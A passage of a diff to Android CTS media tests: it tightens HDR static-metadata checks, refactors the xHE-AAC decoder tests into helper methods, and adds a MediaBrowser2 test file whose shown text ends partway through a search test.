             assertTrue("Extractor failed to extract video track",
                     format != null && trackIndex >= 0);
             if (metadataInContainer) {
-                verifyHdrStaticInfo("Extractor failed to extract static info",
-                        format, pattern, metadataInContainer, testName);
+                verifyHdrStaticInfo("Extractor failed to extract static info", format, pattern);
             }
 
             extractor.selectTrack(trackIndex);
@@ -800,7 +798,7 @@
 
                         codec.releaseOutputBuffer(index,  false);
                         verifyHdrStaticInfo("Output buffer has wrong static info",
-                                bufferFormat, pattern, metadataInContainer, testName);
+                                bufferFormat, pattern);
                         mOutputReceived = true;
                         latch.countDown();
                     }
@@ -836,7 +834,7 @@
                     public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
                         Log.i(TAG, "got output format: " + format);
                         verifyHdrStaticInfo("Output format has wrong static info",
-                                format, pattern, metadataInContainer, testName);
+                                format, pattern);
                     }
                 });
                 decoder.configure(format, surface, null/*crypto*/, 0/*flags*/);
@@ -859,32 +857,13 @@
         }
     }
 
-    private void verifyHdrStaticInfo(
-            String reason, MediaFormat format, String pattern,
-            boolean failOnMismatch, String testName) {
+    private void verifyHdrStaticInfo(String reason, MediaFormat format, String pattern) {
         ByteBuffer staticMetadataBuffer = format.containsKey("hdr-static-info") ?
                 format.getByteBuffer("hdr-static-info") : null;
         assertTrue(reason + ": empty",
                 staticMetadataBuffer != null && staticMetadataBuffer.remaining() > 0);
-
-        if (!Arrays.equals(loadByteArrayFromString(pattern), staticMetadataBuffer.array())) {
-            // log mismatch
-            DeviceReportLog log = new DeviceReportLog("CtsMediaTestCases", testName);
-
-            log.addValue("reason", reason + ": mismatch", ResultType.NEUTRAL, ResultUnit.NONE);
-            StringBuilder sb = new StringBuilder();
-            for (byte b : staticMetadataBuffer.array()) {
-                sb.append(String.format("%02X ", b));
-            }
-            log.addValue("metadata_actual", sb.toString(), ResultType.NEUTRAL, ResultUnit.NONE);
-            log.addValue("metadata_expected", pattern, ResultType.NEUTRAL, ResultUnit.NONE);
-            log.setSummary("result", 0, ResultType.HIGHER_BETTER, ResultUnit.COUNT);
-            log.submit(getInstrumentation());
-
-            if (failOnMismatch) {
-                fail(reason + ": mismatch");
-            }
-        }
+        assertTrue(reason + ": mismatch",
+                Arrays.equals(loadByteArrayFromString(pattern), staticMetadataBuffer.array()));
     }
 
     // helper to load byte[] from a String
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
index a4b8e4e..c250fa2 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
@@ -92,116 +92,124 @@
         assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
 
         for (String aacDecName : sAacDecoderNames) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a running for dec=" + aacDecName);
-            // test DRC effectTypeID 1 "NIGHT"
-            // L -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
-            // R +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
             try {
-                checkUsacDrcEffectType(1, 0.5011f, 1.9952f, "Night", 2, 0, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/0 failed for dec=" + aacDecName);
-                throw new RuntimeException(e);
+                runDecodeUsacDrcEffectTypeM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
             }
+        }
+    }
 
-            // test DRC effectTypeID 2 "NOISY"
-            // L +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
-            // R -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-            try {
-                checkUsacDrcEffectType(2, 1.9952f, 0.2511f, "Noisy", 2, 0, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/0 failed for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
+    private void runDecodeUsacDrcEffectTypeM4a(String aacDecName) throws Exception {
+        Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a running for dec=" + aacDecName);
+        // test DRC effectTypeID 1 "NIGHT"
+        // L -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
+        // R +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
+        try {
+            checkUsacDrcEffectType(1, 0.5011f, 1.9952f, "Night", 2, 0, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/0 failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        } 
 
-            // test DRC effectTypeID 3 "LIMITED"
-            // L -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-            // R +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
-            try {
-                checkUsacDrcEffectType(3, 0.2511f, 3.9810f, "Limited", 2, 0, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/0 failed for dec="
-                        + aacDecName);
-                throw new RuntimeException(e);
-            }
+        // test DRC effectTypeID 2 "NOISY"
+        // L +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
+        // R -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+        try {
+            checkUsacDrcEffectType(2, 1.9952f, 0.2511f, "Noisy", 2, 0, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/0 failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
 
-            // test DRC effectTypeID 6 "GENERAL"
-            // L +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
-            // R -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
-            try {
-                checkUsacDrcEffectType(6, 3.9810f, 0.5011f, "General", 2, 0, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/0 failed for dec="
-                        + aacDecName);
-                throw new RuntimeException(e);
-            }
+        // test DRC effectTypeID 3 "LIMITED"
+        // L -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+        // R +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+        try {
+            checkUsacDrcEffectType(3, 0.2511f, 3.9810f, "Limited", 2, 0, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/0 failed for dec="
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
 
-            // test DRC effectTypeID 1 "NIGHT"
-            // L    -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-            // R    +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
-            // mono -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-            try {
-                checkUsacDrcEffectType(1, 0.2511f, 3.9810f, "Night", 2, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
-            try {
-                checkUsacDrcEffectType(1, 0.2511f, 0.0f, "Night", 1, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/1/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
+        // test DRC effectTypeID 6 "GENERAL"
+        // L +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+        // R -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
+        try {
+            checkUsacDrcEffectType(6, 3.9810f, 0.5011f, "General", 2, 0, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/0 failed for dec="
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
 
-            // test DRC effectTypeID 2 "NOISY"
-            // L    +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
-            // R    -9dB -> normalization factor = 1/(10^(-9/10))  = 0.1258f
-            // mono +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
-            try {
-                checkUsacDrcEffectType(2, 3.9810f, 0.1258f, "Noisy", 2, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
-            try {
-                checkUsacDrcEffectType(2, 3.9810f, 0.0f, "Noisy", 1, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
+        // test DRC effectTypeID 1 "NIGHT"
+        // L    -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+        // R    +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+        // mono -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+        try {
+            checkUsacDrcEffectType(1, 0.2511f, 3.9810f, "Night", 2, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        try {
+            checkUsacDrcEffectType(1, 0.2511f, 0.0f, "Night", 1, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/1/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
 
-            // test DRC effectTypeID 3 "LIMITED"
-            // L    -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
-            // R    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
-            // mono -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
-            try {
-                checkUsacDrcEffectType(3, 0.1258f, 7.9432f, "Limited", 2, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
-            try {
-                checkUsacDrcEffectType(3, 0.1258f, 0.0f, "Limited", 1, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/1/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
+        // test DRC effectTypeID 2 "NOISY"
+        // L    +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
+        // R    -9dB -> normalization factor = 1/(10^(-9/10))  = 0.1258f
+        // mono +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
+        try {
+            checkUsacDrcEffectType(2, 3.9810f, 0.1258f, "Noisy", 2, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        try {
+            checkUsacDrcEffectType(2, 3.9810f, 0.0f, "Noisy", 1, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
 
-            // test DRC effectTypeID 6 "GENERAL"
-            // L    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
-            // R    -6dB -> normalization factor = 1/(10^(-6/10))  = 0.2511f
-            // mono +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
-            try {
-                checkUsacDrcEffectType(6, 7.9432f, 0.2511f, "General", 2, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
-            try {
-                checkUsacDrcEffectType(6, 7.9432f, 0.0f, "General", 1, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/1/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
+        // test DRC effectTypeID 3 "LIMITED"
+        // L    -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
+        // R    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+        // mono -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
+        try {
+            checkUsacDrcEffectType(3, 0.1258f, 7.9432f, "Limited", 2, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        try {
+            checkUsacDrcEffectType(3, 0.1258f, 0.0f, "Limited", 1, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/1/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test DRC effectTypeID 6 "GENERAL"
+        // L    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+        // R    -6dB -> normalization factor = 1/(10^(-6/10))  = 0.2511f
+        // mono +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+        try {
+            checkUsacDrcEffectType(6, 7.9432f, 0.2511f, "General", 2, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        try {
+            checkUsacDrcEffectType(6, 7.9432f, 0.0f, "General", 1, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/1/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
         }
     }
 
@@ -215,52 +223,61 @@
         assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
 
         for (String aacDecName : sAacDecoderNames) {
-            // Stereo
-            // switch between SBR ratios and stereo modes
             try {
-                checkUsacStreamSwitching(2.5459829E12f, 2,
-                        R.raw.noise_2ch_44_1khz_aot42_19_lufs_config_change_mp4, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch sbr/stereo switch for "
-                        + aacDecName);
-                throw new RuntimeException(e);
-            }
-
-            // Mono
-            // switch between SBR ratios and stereo modes
-            try {
-                checkUsacStreamSwitching(2.24669126E12f, 1,
-                        R.raw.noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch sbr/stereo switch for "
-                        + aacDecName);
-                throw new RuntimeException(e);
-            }
-
-            // Stereo
-            // switch between USAC modes
-            try {
-                checkUsacStreamSwitching(2.1E12f, 2,
-                        R.raw.noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch USAC mode switch for "
-                        + aacDecName);
-                throw new RuntimeException(e);
-            }
-
-            // Mono
-            // switch between USAC modes
-            try {
-                checkUsacStreamSwitching(1.7E12f, 1,
-                        R.raw.noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch USAC mode switch for "
-                        + aacDecName);
-                throw new RuntimeException(e);
+                runDecodeUsacStreamSwitchingM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
             }
         }
     }
 
+    private void runDecodeUsacStreamSwitchingM4a(String aacDecName) throws Exception {
+        // Stereo
+        // switch between SBR ratios and stereo modes
+        try {
+            checkUsacStreamSwitching(2.5459829E12f, 2,
+                    R.raw.noise_2ch_44_1khz_aot42_19_lufs_config_change_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch sbr/stereo switch for "
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // Mono
+        // switch between SBR ratios and stereo modes
+        try {
+            checkUsacStreamSwitching(2.24669126E12f, 1,
+                    R.raw.noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch sbr/stereo switch for "
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // Stereo
+        // switch between USAC modes
+        try {
+            checkUsacStreamSwitching(2.1E12f, 2,
+                    R.raw.noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch USAC mode switch for "
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // Mono
+        // switch between USAC modes
+        try {
+            checkUsacStreamSwitching(1.7E12f, 1,
+                    R.raw.noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch USAC mode switch for "
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+    }
+
     /**
      * Verify the correct decoding of USAC bitstreams with various sampling rates.
      */
@@ -272,20 +289,28 @@
 
         for (String aacDecName : sAacDecoderNames) {
             try {
-                checkUsacSamplingRate(R.raw.noise_2ch_08khz_aot42_19_lufs_mp4, aacDecName);
-                checkUsacSamplingRate(R.raw.noise_2ch_12khz_aot42_19_lufs_mp4, aacDecName);
-                checkUsacSamplingRate(R.raw.noise_2ch_22_05khz_aot42_19_lufs_mp4, aacDecName);
-                checkUsacSamplingRate(R.raw.noise_2ch_64khz_aot42_19_lufs_mp4, aacDecName);
-                checkUsacSamplingRate(R.raw.noise_2ch_88_2khz_aot42_19_lufs_mp4, aacDecName);
-                checkUsacSamplingRateWoLoudness(R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4,
-                        aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacSamplingRatesM4a for decoder" + aacDecName);
-                throw new RuntimeException(e);
+                runDecodeUsacSamplingRatesM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
             }
         }
     }
 
+    private void runDecodeUsacSamplingRatesM4a(String aacDecName) throws Exception {
+        try {
+            checkUsacSamplingRate(R.raw.noise_2ch_08khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRate(R.raw.noise_2ch_12khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRate(R.raw.noise_2ch_22_05khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRate(R.raw.noise_2ch_64khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRate(R.raw.noise_2ch_88_2khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRateWoLoudness(R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4,
+                    aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacSamplingRatesM4a for decoder" + aacDecName);
+            throw new RuntimeException(e);
+        }
+    }
+
 
     /**
      *  Internal utilities
@@ -437,7 +462,7 @@
     }
 
     /**
-     * Same as {@link #checkEnergyUSAC(short[], AudioParameter, int, int)} but with DRC effec type
+     * Same as {@link #checkEnergyUSAC(short[], AudioParameter, int, int)} but with DRC effect type
      * @param decSamples
      * @param decParams
      * @param encNch
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java b/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java
new file mode 100644
index 0000000..9ced5b1
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java
@@ -0,0 +1,672 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.cts.MockMediaLibraryService2.EXTRAS;
+import static android.media.cts.MockMediaLibraryService2.ROOT_ID;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertNotEquals;
+
+import android.annotation.Nullable;
+import android.content.Context;
+import android.media.MediaBrowser2;
+import android.media.MediaBrowser2.BrowserCallback;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaItem2;
+import android.media.MediaLibraryService2.MediaLibrarySession;
+import android.media.MediaLibraryService2.MediaLibrarySession.MediaLibrarySessionCallback;
+import android.media.MediaMetadata2;
+import android.media.MediaSession2;
+import android.media.MediaSession2.CommandButton;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.ResultReceiver;
+
+import androidx.annotation.CallSuper;
+import androidx.annotation.NonNull;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import junit.framework.Assert;
+
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Method;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link MediaBrowser2}.
+ * <p>
+ * This test inherits {@link MediaController2Test} to ensure that inherited APIs from
+ * {@link MediaController2} works cleanly.
+ */
+// TODO(jaewan): Implement host-side test so browser and service can run in different processes.
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+public class MediaBrowser2Test extends MediaController2Test {
+    private static final String TAG = "MediaBrowser2Test";
+
+    @Override
+    TestControllerInterface onCreateController(@NonNull SessionToken2 token,
+            @Nullable ControllerCallback callback) {
+        if (callback == null) {
+            callback = new BrowserCallback() {};
+        }
+        return new TestMediaBrowser(mContext, token, new TestBrowserCallback(callback));
+    }
+
+    /**
+     * Test if the {@link TestBrowserCallback} wraps the callback proxy without missing any method.
+     */
+    @Test
+    public void testTestBrowserCallback() {
+        Method[] methods = TestBrowserCallback.class.getMethods();
+        assertNotNull(methods);
+        for (int i = 0; i < methods.length; i++) {
+            // For any methods in the controller callback, TestControllerCallback should have
+            // overriden the method and call matching API in the callback proxy.
+            assertNotEquals("TestBrowserCallback should override " + methods[i]
+                            + " and call callback proxy",
+                    BrowserCallback.class, methods[i].getDeclaringClass());
+        }
+    }
+
+    @Test
+    public void testGetLibraryRoot() throws InterruptedException {
+        final Bundle param = new Bundle();
+        param.putString(TAG, TAG);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onGetLibraryRootDone(MediaBrowser2 browser,
+                    Bundle rootHints, String rootMediaId, Bundle rootExtra) {
+                assertTrue(TestUtils.equals(param, rootHints));
+                assertEquals(ROOT_ID, rootMediaId);
+                assertTrue(TestUtils.equals(EXTRAS, rootExtra));
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser =
+                (MediaBrowser2) createController(token,true, callback);
+        browser.getLibraryRoot(param);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testGetItem() throws InterruptedException {
+        final String mediaId = MockMediaLibraryService2.MEDIA_ID_GET_ITEM;
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onGetItemDone(MediaBrowser2 browser, String mediaIdOut, MediaItem2 result) {
+                assertEquals(mediaId, mediaIdOut);
+                assertNotNull(result);
+                assertEquals(mediaId, result.getMediaId());
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.getItem(mediaId);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testGetItemNullResult() throws InterruptedException {
+        final String mediaId = "random_media_id";
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onGetItemDone(MediaBrowser2 browser, String mediaIdOut, MediaItem2 result) {
+                assertEquals(mediaId, mediaIdOut);
+                assertNull(result);
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.getItem(mediaId);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testGetChildren() throws InterruptedException {
+        final String parentId = MockMediaLibraryService2.PARENT_ID;
+        final int page = 4;
+        final int pageSize = 10;
+        final Bundle extras = new Bundle();
+        extras.putString(TAG, TAG);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onGetChildrenDone(MediaBrowser2 browser, String parentIdOut, int pageOut,
+                    int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+                assertEquals(parentId, parentIdOut);
+                assertEquals(page, pageOut);
+                assertEquals(pageSize, pageSizeOut);
+                assertTrue(TestUtils.equals(extras, extrasOut));
+                assertNotNull(result);
+
+                int fromIndex = (page - 1) * pageSize;
+                int toIndex = Math.min(page * pageSize, MockMediaLibraryService2.CHILDREN_COUNT);
+
+                // Compare the given results with originals.
+                for (int originalIndex = fromIndex; originalIndex < toIndex; originalIndex++) {
+                    int relativeIndex = originalIndex - fromIndex;
+                    Assert.assertEquals(
+                            MockMediaLibraryService2.GET_CHILDREN_RESULT.get(originalIndex)
+                                    .getMediaId(),
+                            result.get(relativeIndex).getMediaId());
+                }
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.getChildren(parentId, page, pageSize, extras);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testGetChildrenEmptyResult() throws InterruptedException {
+        final String parentId = MockMediaLibraryService2.PARENT_ID_NO_CHILDREN;
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onGetChildrenDone(MediaBrowser2 browser, String parentIdOut,
+                    int pageOut, int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+                assertNotNull(result);
+                assertEquals(0, result.size());
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.getChildren(parentId, 1, 1, null);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testGetChildrenNullResult() throws InterruptedException {
+        final String parentId = MockMediaLibraryService2.PARENT_ID_ERROR;
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onGetChildrenDone(MediaBrowser2 browser, String parentIdOut,
+                    int pageOut, int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+                assertNull(result);
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.getChildren(parentId, 1, 1, null);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Ignore
+    @Test
+    public void testSearch() throws InterruptedException {
+        final String query = MockMediaLibraryService2.SEARCH_QUERY;
+        final int page = 4;
+        final int pageSize = 10;
+        final Bundle extras = new Bundle();
+        extras.putString(TAG, TAG);
+
+        final CountDownLatch latchForSearch = new CountDownLatch(1);
+        final CountDownLatch latchForGetSearchResult = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onSearchResultChanged(MediaBrowser2 browser,
+                    String queryOut, int itemCount, Bundle extrasOut) {
+                assertEquals(query, queryOut);
+                assertTrue(TestUtils.equals(extras, extrasOut));
+                assertEquals(MockMediaLibraryService2.SEARCH_RESULT_COUNT, itemCount);
+                latchForSearch.countDown();
+            }
+
+            @Override
+            public void onGetSearchResultDone(MediaBrowser2 browser, String queryOut,
+                    int pageOut, int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+                assertEquals(query, queryOut);
+                assertEquals(page, pageOut);
+                assertEquals(pageSize, pageSizeOut);
+                assertTrue(TestUtils.equals(extras, extrasOut));
+                assertNotNull(result);
+
+                int fromIndex = (page - 1) * pageSize;
+                int toIndex = Math.min(
+                        page * pageSize, MockMediaLibraryService2.SEARCH_RESULT_COUNT);
+
+                // Compare the given results with originals.
+                for (int originalIndex = fromIndex; originalIndex < toIndex; originalIndex++) {
+                    int relativeIndex = originalIndex - fromIndex;
+                    Assert.assertEquals(
+                            MockMediaLibraryService2.SEARCH_RESULT.get(originalIndex).getMediaId(),
+                            result.get(relativeIndex).getMediaId());
+                }
+                latchForGetSearchResult.countDown();
+            }
+        };
+
+        // Request the search.
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
